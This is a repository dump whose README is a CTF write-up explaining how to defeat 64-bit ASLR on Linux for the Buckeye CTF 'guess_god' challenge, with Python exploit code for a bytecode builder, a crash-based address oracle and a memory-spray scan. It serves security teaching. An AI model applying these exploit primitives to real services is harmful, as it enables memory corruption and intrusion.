Repository: nick0ve/how-to-bypass-aslr-on-linux-x86_64
Branch: main
Commit: 8f45a5e55502
Files: 31
Total size: 84.6 KB
Directory structure:
gitextract_dnks77ug/
├── README.md
└── resources/
├── analyze_mappings.py
├── dist-guess-god/
│ ├── .dockerignore
│ ├── Dockerfile
│ ├── bins/
│ │ └── flag_server-exe
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── jail.cfg
│ ├── nsjail.sh
│ ├── pow.py
│ ├── server.py
│ ├── setup.sh
│ └── src/
│ ├── .gitignore
│ ├── CMakeLists.txt
│ ├── kylezip/
│ │ ├── README
│ │ ├── decompress.c
│ │ ├── decompress.h
│ │ └── test/
│ │ └── kyle.c
│ ├── src/
│ │ ├── App.cpp
│ │ ├── AppComponent.hpp
│ │ ├── controller/
│ │ │ ├── MyController.cpp
│ │ │ └── MyController.hpp
│ │ └── dto/
│ │ └── DTOs.hpp
│ ├── test/
│ │ ├── MyControllerTest.cpp
│ │ ├── MyControllerTest.hpp
│ │ ├── app/
│ │ │ ├── MyApiTestClient.hpp
│ │ │ └── TestComponent.hpp
│ │ └── tests.cpp
│ └── utility/
│ └── install-oatpp-modules.sh
├── reliable_exploit.py
└── x.py
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# Breaking 64 bit aslr on Linux x86-64
In this article, I'll discuss about the application of the technique described by [Samuel Groß](https://twitter.com/5aelo) in his [Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass](https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html), to bypass ASLR on Linux x86_64.
To show this I'm gonna solve a pwnable challenge from [Buckeye CTF](https://ctf.osucyber.club/), guess_god.
I'll try to keep the content as beginner friendly as possible, so feel free to skip any section if you feel confident enough and just want to see the exploit.
# 0. Introduction

I didn't play the CTF, but I got interested in the challenge about 2hrs before the ctf end thanks to [Guray00](https://github.com/Guray00), who was asking for help in [fibonhack](https://twitter.com/fibonhack) discord about some crypto shenanigans.
I couldn't help him, but I took a look at pwnable challenges, and figured it would be good to understand the P0 blogpost and hopefully get that bounty.
# 1. ASLR and how to bypass it
## 1.1 What is ASLR?
**Address Space Layout Randomization** (ASLR) is a computer security technique which involves **randomly positioning** the base address of an executable and the position of libraries, heap, and stack, in a process's address space.
## 1.2 ASLR on Linux
On linux, you can inspect the mappings of a process given its pid through [procfs](https://www.kernel.org/doc/Documentation/filesystems/proc.txt), by reading the file `/proc//maps`.
If you are a process and you want to know your own memory mappings, you can read `/proc/self/maps`.
For example, you can try to read `/proc/self/maps` with `cat`:
```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap]
7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0
7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0
7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack]
7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar]
7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
```
### Memory mappings patterns
If you do this a couple of times, you could deduce that:
* The binary PIE base should be in the range 0x00005500_00000000-0x00005700_00000000, which means 2TB of possible addresses.
* The heap is near the binary.
* Libraries fall in the range 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB of possible addresses.
* Stack goes \(most of the time\) in the range 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb of possible addresses.
* The range 0xffffffffff600000 - 0xffffffffff601000 is always mapped, you can read [this article](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) if you are curious about what it is.
## 1.3 How to bypass ASLR without an infoleak
Let's discuss what you can do to bypass ASLR when no information leak is possble.
This is my attempt to summarize what I got from reading Saelo's blogpost.
To bypass ASLR you need:
* A memory spraying technique, which lets you map contiguous memory of a given size, on a given range of addresses.
As he says there are two ways of doing it:
1. By abusing a memory leak (not an information leak!), a bug in which a chunk of memory is “forgotten” and never freed, and triggering it multiple times until the desired amount of memory has been leaked.
2. By finding and abusing an “amplification gadget”: a piece of code that takes an existing chunk of data and copies it, potentially multiple times, thus allowing the attacker to spray a large amount of memory by only sending a relatively small number of bytes.
* An `isAddressMapped` oracle, which given an address tells you wheter or not that address is mapped.
### PoC of ASLR bypass on Linux
Let's try to reproduce saelo's PoC to completely break aslr on Linux.
saelo's poc
On Linux it's not so easy, it is possible to completely break ASLR only if you are able to allocate 16TB of memory.
```C
#include
#include
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
```
### Note about glibc memory allocation
From [man malloc](https://man7.org/linux/man-pages/man3/realloc.3.html) notes:
- Normally, malloc() allocates memory from the heap, and adjusts the size of the heap as required, using sbrk(2). When allocating blocks of memory larger than MMAP_THRESHOLD bytes, the glibc malloc() implementation allocates the memory as a private anonymous mapping using mmap(2). MMAP_THRESHOLD is 128 kB by default, but is adjustable using mallopt(3). Allocations performed using mmap(2) are unaffected by the RLIMIT_DATA resource limit (see getrlimit(2)).
So `void *mem = malloc(size)` will end up calling `mmap(size + malloc_metadata_size, ...)`
Since libraries are mapped into the process through mmap by `ld`, those allocations will end up near the libraries.
### Boundary cross trick
If you look at the addresses returned by malloc you can better understand what is happening. Protip: look at the most significant bytes.
| mem | 16tb boundary cross?
| - |-
|0x7fb03b55e010| No
|0x7fa03b55d010| No
|0x7f903b55c010| No
|0x7f803b55b010| No
|0x7f703b55a010| No
|0x7f603b559010| No
|0x7f503b558010| No
|0x7f403b557010| No
|0x7f303b556010| No
|0x7f203b555010| No
|0x7f103b554010| No
|0x7f003b553010| No
|0x7ef03b552010| Yes
|0x7ee03b551010| Yes
|0x7ed03b550010| Yes
|0x7ec03b54f010| Yes
The poc is exploiting the fact that, at some point, the most significant byte of the address returned changes from 7F to 7E and since the allocations are contiguous there must be something inside that range. \(Yeah we are applying the [Bolzano-Weirstress theorem](https://en.wikipedia.org/wiki/Intermediate_value_theorem) to solve this problem!\)
# 2 The challenge
Thankfully to the author, the zip contains binaries, source code and dockerfile to reproduce the same environment as the remote one.

## 2.1 Initial foothold
It's always a good thing to grasp some knowledge about the environment, let's scroll through the files and take some notes.
* jail.cfg set some restrictions, let's not forget about those limits since they might screw up the exploit:
```yaml
time_limit: 300
cgroup_cpu_ms_per_sec: 100
cgroup_pids_max: 64
rlimit_fsize: 2048
rlimit_nofile: 2048
cgroup_mem_max: 1073741824 # 1GB
```
* From the Dockerfile we can learn some interesting things:
1. Build and install oatpp 1.2.5, maybe there are useful bugs in this specific version?
```Docker
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
```
2. It builds the challenge from scratch
```docker
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
```
This might be a problem, so let's copy the distribuited binaries instead.
```docker
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/
```
* And the last thing, check the protections of the binaries provided

Sweet, libkylezip.so is compiled with Partial RELRO, that means that the GOT is writable, keep that in mind for when we want to get code execution.
## 2.2 Setup the local environment and poke the application
docker-compose.yml file is provided so it is not hard at all to get a working local environment to poke. For those of you that are not confident with docker here is the list of commands you need to know to poke the challenge locally.
```bash
docker-compose build # Build the image, do this whenever you change something
docker-compose up # start the container
docker-compose down # stop the container
docker ps # list containers
docker exec -it # exec COMMAND into the container
```
After doing `docker-compose build` you can execute `docker-compose up` to start the container, and connect to the challenge with `nc 127.0.0.1 9000`

# 3. Source code analysis
Now that we have some basic knowledge about what we should do in order to bypass ASLR, let's look at the source code, keeping in mind that we want to:
* a way to spray memory in known ranges of memory
* an isAddrMapped oracle

Source code folder
It's mostly glue code to get an oatpp web server up and running, in fact the important files which we are gonna analyze are:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*

MyController.hpp
There are 3 endpoints:
* `/`
* `GET /files/{fileId}` -> Download a previously uploaded file, if extract is true extract before downloading it.
* `POST /upload/{fileId}` -> Upload a file given a {fileId}.
And one function implemented in `MyController.cpp`
```C
std::shared_ptr MyController::get_file(int file_id, bool extract)
```
which:
* Set `to_open` to `{file_id}` or `{file_id}.unkyle`
```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
```
* If it's the first time we are requesting to extract `{file_id}` then it calls decompress on it,
which will write the decompressed file of `{file_id}` to `{file_id}.unkyle`.
```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
```
* In the end `mmap` the result in memory.
```C
struct stat sb;
if (fstat(fd, &sb) != 0) {
return NULL;
}
/* mmap the file in for performance, or something... idk kyle made me write this */
//
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
```
### Observations
* [fork()](https://man7.org/linux/man-pages/man2/fork.2.html) creates a new process by duplicating the calling process, at the time of fork() both memory spaces have the same content.
So if we are able to turn decompress() to an oracle which:
* Crashes on bad addresses
* Doesn't crash on nice addresses
We could use that primitive to infer the memory space of the parent.
* There is a call to `mmap` in the parent process:
```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
```
if we can control `sb.st_size`, which is the size of the decompressed file, we could easily turn it into a memory spraying primitive.
## 3.2 decompress.*
### decompress()
```C
int decompress(const char *fname)
```
* Maps the input file to the address `0x42069000000`.
* Maps the output file to the address `0x13371337000`.
* Calls do_decompress() which gets the decompression done.
The file is expected to be in the format:
| offset | name | type | description |
| - | - | - | - |
| +0h | magic | uint64 | a magic value, it is expected to be 0x0123456789abcdef |
| +8h | filesize | uint64 | size of the decompressed file |
### do_decompress()
```C
static void do_decompress(char *out, char *in, size_t insize)
```
You can view this function as a simple *virtual machine*, which executes the bytecode pointed by `in` and writes the output to the buffer pointed by `out`.
`in` points to our `{file_id}`.
`out` points to `{file_id.unkyle}`.
This VM has 4 opcodes:
* 0 -> NOP
* 1 -> STORE(u8 b)
writes `b` to `out`, increments out by `1`.
Opcode implementation:
```C
case 1: {
// Write byte
uint8_t b = in[cur++];
*(out++) = b;
break;
}
```
* 2 -> SEEK(u64 off)
set `out` to `out + off`.
`out` and `off` are 64 bit values, so `out = out+off` is equivalent to `out = (out+off) % MAX_64BIT_VALUE`, this is called [integer overflow](https://en.wikipedia.org/wiki/Integer_overflow) and we can exploit this behaviour to reach any 64 bit value. Example:
```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
# We are at 0xffffffff, what can we add to reach 0?
print ('{:#x}'.format(get_off(0xffffffff, 0)))
# Result = 0xffffffff00000001
# That's the same as doing this
M64 = (1<<64)-1 # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
```
Opcode implementation:
```C
case 2: {
// Seek
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
out += off;
break;
}
```
* 3 -> LOAD(off, size).
Copy `size` bytes from `out - off` to `out`, increment `out` by 8.
Opcode implementation:
```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
```
There are no bounds check in any of the operation, that gives us 2 useful primitives:
* Read What Where, abusing `SEEK+LOAD`
* Write What Where: abusing `SEEK+STORE`
I used this code to build the bytecode:
```py
IN_ADDR = 0x42069000000 # PROT R
OUT_ADDR = 0x13371337000 # PROT RW
M64 = (1<<64)-1
class CompressedFile():
__slots__ = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
```
# 4. Interacting with the binary
Before diving into the exploitation phase, It is always good to build something that let you easily interact with the binary, to avoid wasting time.
```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
```
### Inspect the memory mappings of the challenge
That was very important to me when trying to solve the challenge, I stared at the memory mappings for a lot of time.
To do this, you can spawn a local instance of the challenge and read the process maps after doing some operations.

## 4.2 isAddrMapped oracle
We are given a read what where primitive, so building an isAddressMapped oracle is not hard at all.
My way to do it was to build this bytecode:
* `memcpy(out, targetAddress, 1)`
* `write(b'A')`
If targetAddress is not mapped the child program segfaults on memcpy, giving us a decompressed file filled with null bytes.
If targetAddress is mapped, the decompressed file has a b'\x41' as the second byte.
```py
def isAddrMapped(addr, fileid, filelen=2):
toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
```
## 4.3 Memory Spray primitive
We can completely control the size of the decompressed file, and we get an mmap of that size in [MyController.cpp:62](resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
In my exploit i used the `isAddrMapped` function, and changed the filelen.
For example, let's try to allocate a contiguous chunk of size = 0x4000000 = 64mb
```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
```
That's the result:
```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps
...
7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
...
```
If you try do it again:
```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
```
That's the result:
```
7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
```
Nice! Multiple allocations won't have gaps.
## 4.4 How much memory to spray?
As you can see from [this poc](#poc-of-aslr-bypass-on-linux), the ideal size for the contiguous mapped memory would be 16TB.
Unfortunately, if you try to allocate 16TB of memory on the remote server, the mmap will fail, because [nsjail limit this](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
After some trial and error I found out that I can spray ~3840mb of memory, with this code:
```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
```
the result memory mappings will be something like this:
### Memory Spray result
```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/`pgrep flag_server-exe`/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
```
Let's focus our attention on the addresses created with the memory spraying. \(*.unkyle files \)
We can try to apply the [boundary cross trick](#Boundary-cross-trick).
| mem | 4gb boundary cross?
| - |-
| 7fe2dc000000 | No
| 7fe2e0000000 | No
| 7fe2e4000000 | No
| 7fe2e8000000 | No
| 7fe2ec000000 | No
| 7fe2f0000000 | No
| 7fe2f4000000 | No
| 7fe2f8000000 | No
| 7fe2fc000000 | No
| 7fe300000000 | Yes
| 7fe304000000 | Yes
| 7fe308000000 | Yes
By exploiting the change from 7fe2.. to 7fe3.. we can scan memory with a step of 0x100000000 = 4gb memory.
## 4.5 Finally defeating ASLR
Given that step size, we can scan `start=0x7f0000000000` to `end=0x800000000000` with only `end - start / size` = 256 queries.
```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
```
At this point, we have `leakAddr` which is a mapped address like this: `0x7fXX00000000`, in [this](#memory-spray-result) case, `leakAddr = 0x7fe300000000`.
Now, if we want to follow the saelo technique, we should do a binary search of the range 0x7fXX00000000 - 0x7fXXffffffff, in order to find lower and upper bounds, the problem is that there are some holes in that range, so the binary search fails a lot of times.
You can check yourself with [this](resources/analyze-mappings.py) script:
```
RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000
SMALL GAP 0x00caa000
0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
```
That small gap between 0x00007f763c000000 and 0x00007f763ccaa000 screws up the binary search, of course it is still doable, but i found an easier way.
### Observation
We want to get the last mapped address, because that's where libraries are mapped.
For example, given those mappings for the libraries:
```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
```
We can search for the address `7fe3d6a5b000 - 0x1000` with this trick:
| address | isAddressMapped? |
| - | - |
0x7fe3f0000000 | No
0x7fe3e0000000 | No
